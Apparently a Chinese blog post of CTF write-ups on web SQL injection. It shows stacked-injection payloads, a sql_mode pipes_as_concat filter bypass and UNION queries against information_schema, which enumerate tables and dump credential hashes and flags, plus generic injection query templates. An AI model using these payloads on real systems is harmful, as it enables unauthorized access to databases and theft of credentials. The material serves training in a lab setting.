ctf php sql注入,CTF WEB SQL注入 writeups

尝试了字符型、数字型注入,无果。

使用burpsuite 进行爆破。

使用 simple list 中的 sql 注入清单进行测试。intruder用法

手工测试发现输入数字后都会出现(有wp说这种输出都是 var_dump() 函数输出的结果)。

发现过滤了很多关键字,类似 delete、update等。结果出现 Too long,Nonono 、或者什么都没有显示。

b230373c856ddaa55db559a4fcfb5299.png

ab26c0287d08ab8004a94f628d72d670.png

输入数字 1 时候的回显:

Array([0]= > 1)

复制代码

总结一下就是:

输入字符串:无回显,过滤了 flag 、update、 and 等关键字。

输入数字:会有输出查询结果数组

输入过长:会报错 too long

搜索 wp,说原题是由源码泄露的,但这题没有??或者我没有找到。。

假装已经有原始 sql 语句了。🐷

$sql = "select ".$post['query']."||flag from Flag";

复制代码

堆叠注入

可以查询到相关的表 Flag,ctf 关键字被过滤了。

1;show databases;#

Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

1;use ctftraining ;show tables;#

Array ( [0] => 1 ) Array ( [0] => FLAG_TABLE ) Array ( [0] => news ) Array ( [0] => users )

1;use ctf;show tables;#

Array ( [0] => 1 ) Array ( [0] => Flag )

1;use ctf;show tables;select * from Flag #

Nonono.

复制代码

知识点:

sql_mode

通过设置 sql_mode 为宽松或者严格,完成不同严格程度的数据校验、不同数据库之间进行迁移等工作。

PIPES_AS_CONCAT(为什么会有这么奇妙的设置?)

将"||"视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似

法1

mysql 默认 || 符号按 或处理。

*,1

# 相当于

sql="select *,1 || flag from Flag";

复制代码

没有过滤 * 号,这条就把数据库内容都查询了出来,然后把 1 查询出来。

8fa782bd49f6f4eb09a67df137efd76f.png

法2

1;set sql_mode=pipes_as_concat;select 1

select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag

复制代码

首先查询了 1,接着把 || 按照拼接字符功能处理,把数据 1 和 flag列 拼接输出。 (todo最好做实验验证一下)

941b6ee33d08c993407e0fb209140eda.png

sql 注入出现在查询语句中

' or '1' = '1

复制代码

报错,不是字符型

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1

复制代码

' or 1=1 -- '

' or 1=1#

复制代码

#和--的区别就是:#后面直接加注释内容,而--的第 2 个破折号后需要跟一个空格符在加注释内容。

数字型注入可以,得到flag{6e0397f6-6059-41d8-b6c6-305094c1cc16}

因为浏览器不会自动把 # 符号自动编码,所以需要改成 %23(URL编码)

判断回显点

# 判断回显点位

/check.php?username=1' union select 1,2,3%23&password=1

# 查询有哪些表

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

# geekuser,l0ve1ysq1

# 查询geekuser有哪些字段

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1

# id,username,password

# 查询l0ve1ysq1有哪些字段

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

# 查询geekuser表数据

/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1

# 1admin59598f210812a58844a52fcf4e1714ba

# 查询l0ve1ysq1表数据

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

# flag{9add47d1-8d6a-4b04-b78a-7143104192e6}

复制代码

查询模板

在 SQL注入的 payload 里,和 UNION 一起出现的经常是 INFORMATION_SCHEMA

INFORMATION_SCHEMA 提供了对数据库元数据的访问,包括 MySQL服务器信息,如数据库或表的名称,列的数据类型,访问权限等

所以在验证存在SQL注入漏洞后,可以使用 UNION 语句查询 INFORMATION_SCHEMA 内的数据,获得其他有用的线索(比如所有数据库名及表名等),用于下一步注入攻击

查询当前数据库中所有的表

select * from Product union select group_concat(table_name),2

from information_schema.tables where table_schema=database();

复制代码

查询User表中有哪些字段

select * from Product union select group_concat(column_name),2

from information_schema.columns where table_name='User';

复制代码

查询User表中某用户的密码

select * from Product union select password,2

from User where user_id = 1;

复制代码

SQL 注入练习题

参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值